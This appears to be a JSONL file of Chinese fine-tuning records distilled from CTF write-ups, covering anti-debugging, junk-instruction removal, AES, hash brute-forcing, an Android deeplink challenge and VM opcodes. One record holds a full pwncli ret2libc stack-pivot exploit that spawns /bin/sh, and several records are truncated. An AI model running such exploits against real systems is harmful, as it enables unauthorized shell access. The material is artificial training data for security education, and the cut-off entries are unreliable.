{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-15e6655b3705cb3e55df", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“ptrace 系统调用”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：反调试 / ptrace 系统调用\n关键词：ptrace、ptarace、nop、include、PTRACE_TRACEME、printf、debugger、argc、argv、exit\n蒸馏要点：\n- 一个进程只能被一个进程`ptrace`，如果你自己调用`ptarace`，这样其它程序就无法通过`ptrace`调试（或者向你的程序进程注入代码）.\n- 如果进程已经被调试器跟踪了再次`ptrace`就不会成功。\n- 处理`ptrace`要么就是让它不执行，要么就是直接将其`nop`掉。\n- 使用`ptrace`可以检测是否有其他进程在调试当前进程。具体方法是尝试用`ptrace`附加到自身，如果成功则说明没有被调试。\n可用于训练的标准回答：\n### ptrace 系统调用\n\n一个进程只能被一个进程`ptrace`，如果你自己调用`ptarace`，这样其它程序就无法通过`ptrace`调试（或者向你的程序进程注入代码）.\n\n如果进程已经被调试器跟踪了再次`ptrace`就不会成功。\n\n处理`ptrace`要么就是让它不执行，要么就是直接将其`nop`掉。\n\n使用`ptrace`可以检测是否有其他进程在调试当前进程。具体方法是尝试用`ptrace`附加到自身，如果成功则说明没有被调试。\n\n   ```c\n#include\n#include\n#include\n#include\n\nint main(int argc, char *argv[])\n{\n  if(ptrace(PTRACE_TRACEME,0,1,0)==-1){\n    printf(\"debugger\\n\");\n    exit(0);\n  }\n  printf(\"No debugger\\n\");\n  return 0;\n}\n   ```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::83de374185ae597a", "original_line": 680, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ptrace 系统调用", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "83de374185ae597a", "source_split": "train", "split": "train", "split_group_key": "e256ac8633ee4e6ed2ba72e7", "tags": ["reverse"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-161f9549cfcdb1bc0348", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“call&ret构造花指令”？请用《花指令：原理：反汇编算法的设计缺陷》中的内容回答。", "role": "user"}, {"content": "1. `call`指令的本质：`push`将函数返回地址入栈然后`jmp`函数地址\n2. `ret`指令的本质：`pop eip`\n3. 代码中的`esp`存储的是函数返回地址，对`[esp]+8`，就是函数的返回地址+8，正好盖过代码中的函数指令和垃圾数据。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::9c49c3c6d98bbc77", "original_line": 713, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "call&ret构造花指令", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "9c49c3c6d98bbc77", "source_split": "train", "split": "train", "split_group_key": "bc51a0fe77c894c49b3b1003", "tags": ["pwn", "reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-168b11ce6b176ef354e1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“maigcread”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / maigcread\n关键词：p64、bss、elf、libc、leave、pay1、base、rdi、puts、bin\n蒸馏要点：\n- 典型 bss 段栈迁移打 ret2libc。\n可用于训练的标准回答：\n### maigcread\n\n典型 bss 段栈迁移打 ret2libc。\n\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\nlibc=ELF(\"./libc-2.23.so\")\ncontext.arch=elf.arch\n\nrdi=0x0000000000400723\nret=0x00000000004004c6\nleave=0x400675\nbss=elf.bss()+0x500\nvuln=0x40063a\n\nr()\npay1=b'a'*64+p64(bss+0x40)+p64(leave)\ns(pay1)\npay1=b'a'*64+p64(bss+0x40+64)+p64(leave)\ns(pay1)\n\npay2=p64(bss+0x50)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x400693)\ns(pay2)\n\nleak=u64(r(6)+b'\\x00'*2)\nbase=leak-libc.sym['puts']\nprint(hex(base))\nsys=base+libc.sym['system']\nsh=base+libc.search(\"/bin/sh\\x00\").__next__()\nprint(\"sh\",hex(sh))\nru(b\"just read!\\n\")\npay3=b'a'*64+p64(bss+0x90)+p64(leave)\ns(pay3)\npay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\ns(pay4)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::73ada8547ecdcfe6", "original_line": 102, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "maigcread", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "73ada8547ecdcfe6", "source_split": "validation", "split": "train", "split_group_key": "4619e7d8ab8c510f792ef60f", "tags": ["pwn"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-16b63a51c17d3ae37fd6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“SSP Leak”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 0x555555400b1d    lea    rsi, [rip + 0x58b]       RSI => 0x5555554010af ◂— jne 0x555555401126 /* 'Output: %s\\n\\n' */\n2. 0x555555400b24    mov    edi, 1                   EDI => 1\n3. ───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────\n4. 00:0000│ rdx rsp 0x7fffffffcef0 ◂— 0x61616161 /* 'aaaa' */\n5. 01:0008│         0x7fffffffcef8 ◂— 0\n6. 02:0010│         0x7fffffffcf00 —▸ 0x555555400cf0 ◂— push rbx", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 4, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::5b4c8b3c4c75a643", "original_line": 809, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "5b4c8b3c4c75a643", "source_split": "train", "split": "train", "split_group_key": "9e7e55c5ad2498a1e0cfbdb5", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1777d0ca0a246e928610", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“AndroidManifest.xml”？请用《2025强网杯 Qclac》中的内容回答。", "role": "user"}, {"content": "1. MainActivity：\n2. 第一个 Intent Filter 是启动入口：\n3. `android.intent.action.MAIN`：表示该 Activity 是应用的主入口。\n4. `android.intent.category.LAUNCHER`：表示它会显示在设备的启动器（桌面）上。\n5. 第二个 Intent Filter — 深度链接（Deep Link）\n6. `action android.intent.action.VIEW`：表示该 Activity 可以用来查看某种数据（通常配合 `` 使用）。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["ctf"], "original_id": "chatml::train::distilled_training_data::train::6f0b6d7de903f6ff", "original_line": 804, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "AndroidManifest.xml", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6f0b6d7de903f6ff", "source_split": "train", "split": "train", "split_group_key": "689d838e83844e7e04d050e1", "tags": ["ctf"], "title": "2025强网杯 Qclac", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-183b84baff2f2d1a8d85", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《README：md5》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：README：md5\n领域标签：ctf\n知识结构：md5\n关键术语：md5、usage、file、string、MD5\n核心要点：\n- C语言实现的MD5算法源码", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["ctf"], "original_id": "chatml::validation::distilled_training_data::validation::85f11febe5a9a19b", "original_line": 103, "original_split": "validation", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "例题/HASH/README.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "85f11febe5a9a19b", "source_split": "validation", "split": "train", "split_group_key": "241af5013f342b93996375dc", "tags": ["ctf"], "title": "README：md5", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-18ac53ddb1f384d124df", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《AES》的“算法逻辑”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：AES / 算法逻辑（第 2 段）\n关键词：unsigned\n可用于训练的标准回答：\n```c\nunsigned char S[256] = {\n        0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,\n        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,\n        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,\n        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,\n        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,\n        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,\n        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,\n        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,\n        0xCD, 0x0C, 0x13, 0xEC, 0x5F,...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::b0865e0cccafb04f", "original_line": 953, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "算法逻辑", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "b0865e0cccafb04f", "source_split": "train", "split": "train", "split_group_key": "301c63144abb6c2c0fa736a1", "tags": ["crypto"], "title": "AES", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-192f5a9476780a6881e5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“processDeeplinkExpression”部分，提炼一条适合 SFT 的中文技术讲解样本（第 4 段）。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / processDeeplinkExpression（第 4 段）\n关键词：expression、Intent、parts、intent、tvInput、setText、Invalid、contains、try、errorFallbackIntent\n蒸馏要点：\n- // 情况一：表达式包含 \"intent:\"，代表嵌套 Intent（可能是安全测试或回退机制）\n- if (expression.contains(\"intent:\")) {\n- // 尝试解析表达式为 Intent\n- Intent errorFallbackIntent = Intent.parseUri(expression, 1);\n- // 将其保存到当前 Activity 的 Intent 里作为备用\n- getIntent().putExtra(\"fallback\", errorFallbackIntent);\n- // 计算签名（简单的 hashCode，用于验证）\n可用于训练的标准回答：\n// 情况一：表达式包含 \"intent:\"，代表嵌套 Intent（可能是安全测试或回退机制）\n        if (expression.contains(\"intent:\")) {\n            try {\n                // 尝试解析表达式为 Intent\n                Intent errorFallbackIntent = Intent.parseUri(expression, 1);\n                // 将其保存到当前 Activity 的 Intent 里作为备用\n                getIntent().putExtra(\"fallback\", errorFallbackIntent);\n                // 计算签名（简单的 hashCode，用于验证）\n                String signature = calculateSignature(expression);\n                getIntent().putExtra(\"calc_signature\", signature);\n                Log.d(\"QiangCalc\", \"Intent stored as fallback\");\n                this.tvInput.setText(\"Intent stored\");\n                return;\n            } catch (Exception e) {\n                // 捕获 URI 格式错误\n                Log.e(\"QiangCalc\", \"Invalid intent expression: \" + e.getMessage());\n                this.tvInput.setText(\"Invalid expression\");\n                retur...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::70164d335e23c6a4", "original_line": 697, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "processDeeplinkExpression", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "70164d335e23c6a4", "source_split": "train", "split": "train", "split_group_key": "0414f58c308a89f112fdc1e3", "tags": ["pwn", "crypto", "web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-192ff52d035c84d16ef8", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“ProcessHeap”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：反调试 / ProcessHeap\n关键词：ULONG、pFlags、pForceFlags、hHeap、BYTE、Flags、ForceFlags、include、BOOL、IsHeapDebugged\n蒸馏要点：\n- 当进程在调试器下运行时，Windows 会对进程堆内存进行特殊处理，所以可以通过检查堆的`pFlags`和`pForceFlags`字段来实现反调试。\n可用于训练的标准回答：\n#### ProcessHeap\n\n当进程在调试器下运行时，Windows 会对进程堆内存进行特殊处理，所以可以通过检查堆的`pFlags`和`pForceFlags`字段来实现反调试。\n\n- 实现\n\n```cpp\n#include\n#include\n\nBOOL IsHeapDebugged() {\n    HANDLE hHeap = GetProcessHeap();\n    if (!hHeap) {\n        return FALSE;\n    }\n\n    ULONG Flags = *(ULONG*)((BYTE*)hHeap + 0x40);      // Flags 偏移量可能因系统版本变化\n    ULONG ForceFlags = *(ULONG*)((BYTE*)hHeap + 0x44); // ForceFlags 偏移量\n\n    if (Flags != 0x2 || ForceFlags != 0) {\n        return TRUE;\n    }\n    return FALSE;\n}\n\nint main() {\n    if (IsHeapDebugged()) {\n        printf(\"debugger\\n\");\n    } else {\n        printf(\"no debugger\\n\");\n    }\n\n    system(\"pause\");\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::2c86038fa04ecf7c", "original_line": 1020, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ProcessHeap", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "2c86038fa04ecf7c", "source_split": "train", "split": "train", "split_group_key": "620cfb1f635566fd20d67203", "tags": ["pwn", "reverse", "ctf-method"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1a242f002e1f28600a95", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“TLS 回调函数”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：反调试 / TLS 回调函数\n关键词：TLS、IMAGE_TLS_DIRECTORY、Thread、Local、Storage、数被广泛应用于反调试、回调函数中加入反调试、这样在程序被调试、运行时就会检测调试\n蒸馏要点：\n- TLS（Thread Local Storage）回调函数在 Windows 中的作用是在线程启动时自动执行某些特定操作，而这个执行顺序是在进入线程的入口点代码之前的。\n- 这里简要了解添加 TLS 回调函数的知识，重点了解如何去除。\n- 手动添加 TLS 回调函数\n- 手动添加 TLS，需要知道`IMAGE_TLS_DIRECTORY`结构体与 TLS 回调函数放到 PE 文件的哪些位置。向某个 PE 文件添加代码或者数据时候有如下三种来查找合适的位置：\n- 增加最后一个节区域的大小\n- 添加到节区域末尾的空白处\n- 在最后添加新节区\n可用于训练的标准回答：\n### TLS 回调函数\n\nTLS（Thread Local Storage）回调函数在 Windows 中的作用是在线程启动时自动执行某些特定操作，而这个执行顺序是在进入线程的入口点代码之前的。正因为这个特点，TLS 回调函数被广泛应用于反调试技术和其他安全相关的技术中。也就是直接在 TLS 回调函数中加入反调试代码，这样在程序被调试运行时就会检测调试器的存在。\n\n这里简要了解添加 TLS 回调函数的知识，重点了解如何去除。\n\n- 手动添加 TLS 回调函数\n\n手动添加 TLS，需要知道`IMAGE_TLS_DIRECTORY`结构体与 TLS 回调函数放到 PE 文件的哪些位置。向某个 PE 文件添加代码或者数据时候有如下三种来查找合适的位置：\n\n- 增加最后一个节区域的大小\n- 添加到节区域末尾的空白处\n- 在最后添加新节区", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7f6f77c01c5d93f1", "original_line": 1036, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "TLS 回调函数", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7f6f77c01c5d93f1", "source_split": "train", "split": "train", "split_group_key": "95799842d29774825576d9da", "tags": ["reverse"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1a891591eb2cbfb5fccf", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Hash 类算法》的“脚本爆破”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Hash 类算法 / 脚本爆破\n关键词：hashlib、hash_type、hash_func、import、string、sha256、guess、itertools、target、bytes\n蒸馏要点：\n- 通过编写脚本进行碰撞爆破。\n可用于训练的标准回答：\n### 脚本爆破\n\n通过编写脚本进行碰撞爆破。\n\n通用脚本：\n\n```python\nimport string\nimport hashlib\nimport itertools\n\n#设置目标哈希值\ntarget = bytes.fromhex(\"\")\n\n#设置字符集（可以根据需要修改，以下为大小写字母和数字）\ncharset = (string.ascii_letters + string.digits).encode()\n\n#根据选择的哈希算法创建哈希对象\nhash_type = 'sha256'\n\nif hash_type == 'md5':\n    hash_func = hashlib.md5\nelif hash_type == 'sha1':\n    hash_func = hashlib.sha1\nelif hash_type == 'sha256':\n    hash_func = hashlib.sha256\nelse:\n    print(\"Unsupported hash type\")\n    exit()\n\nfor i in itertools.product(charset, repeat=6): #这里的6是字符的长度，可以修改为任何你想要的长度\n    guess = bytes(i)\n    hashed = hash_func(guess).digest()\n    if hashed == target:\n        print(f\"Found match: {guess.decode()}\")\n        break\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a6873e8c437dacbf", "original_line": 734, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "脚本爆破", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a6873e8c437dacbf", "source_split": "train", "split": "train", "split_group_key": "a52d8a63182b9db54e3c871f", "tags": ["crypto", "ctf-method"], "title": "Hash 类算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1ac9d4b1e0e9e5e2d1b4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“分析”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 分析\n关键词：0x1152、0x48h、loc_1151、0xebh、jmp、0x1154、nop、hello world!、main、f5\n蒸馏要点：\n- 这里我们先运行一下程序，发现程序只是用于输出`hello world!`。\n- 通过汇编代码逻辑分析我们发现`jmp`指令跳转到了`loc_1151`标签的后一字节处即`0x1152`。\n- 我们首先通过快捷键`u`将`loc_1151`标签处的汇编指令解释为机器码。\n- 然后先将`0x1152`后面的汇编指令解释为机器码，之后在`0x1152`处按快捷键`c`将其解释为汇编代码。\n- 可以看到现在的汇编代码符合程序功能，我们通过此判断`0xebh`到`0x48h`都是花指令。\n- 我们重新将他们通过快捷键`u`解释为机器码，然后在`0x48h`的下面即`0x1154`处按快捷键`c`将它们解释为汇编代码。\n- 然后将`0xebh`到`0x48h`全部`nop`掉。\n可用于训练的标准回答：\n#### 分析\n\n这里我们先运行一下程序，发现程序只是用于输出`hello world!`。\n\n通过汇编代码逻辑分析我们发现`jmp`指令跳转到了`loc_1151`标签的后一字节处即`0x1152`。\n\n我们首先通过快捷键`u`将`loc_1151`标签处的汇编指令解释为机器码。\n\n然后先将`0x1152`后面的汇编指令解释为机器码，之后在`0x1152`处按快捷键`c`将其解释为汇编代码。\n\n可以看到现在的汇编代码符合程序功能，我们通过此判断`0xebh`到`0x48h`都是花指令。\n\n我们重新将他们通过快捷键`u`解释为机器码，然后在`0x48h`的下面即`0x1154`处按快捷键`c`将它们解释为汇编代码。\n\n然后将`0xebh`到`0x48h`全部`nop`掉。\n\n之后选中`main`函数头部，按快捷键`p`创建函数。\n\n然后即可`f5`反编译。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::eede8c586778939e", "original_line": 1076, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "分析", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "eede8c586778939e", "source_split": "train", "split": "train", "split_group_key": "66bab865c4dc3cba6b1b060e", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-1afd85b5c96317a0c580", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“opcode定义”？请用《VM 指令虚拟化》中的内容回答。", "role": "user"}, {"content": "1. 接着自定义一些指令，需要决定该指令集是定长的还是变长的。\n2. 这里以变长指令集为例，先列出一个表来：\n3. | opcode | 指令格式          | 指令长度 | 指令含义                                |\n4. | 0x10   | 0x10操作数       | 2    | r1=操作数                              |\n5. | 0x11   | 0x11操作数       | 2    | r2=操作数                              |\n6. | 0x20   | 0x20操作数1 操作数2 | 3    | mem[操作数1]=操作数2                      |", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::5174c1d2098512ad", "original_line": 974, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "opcode定义", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "5174c1d2098512ad", "source_split": "train", "split": "train", "split_group_key": "9a546ae33764f86df53f45d7", "tags": ["reverse"], "title": "VM 指令虚拟化", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
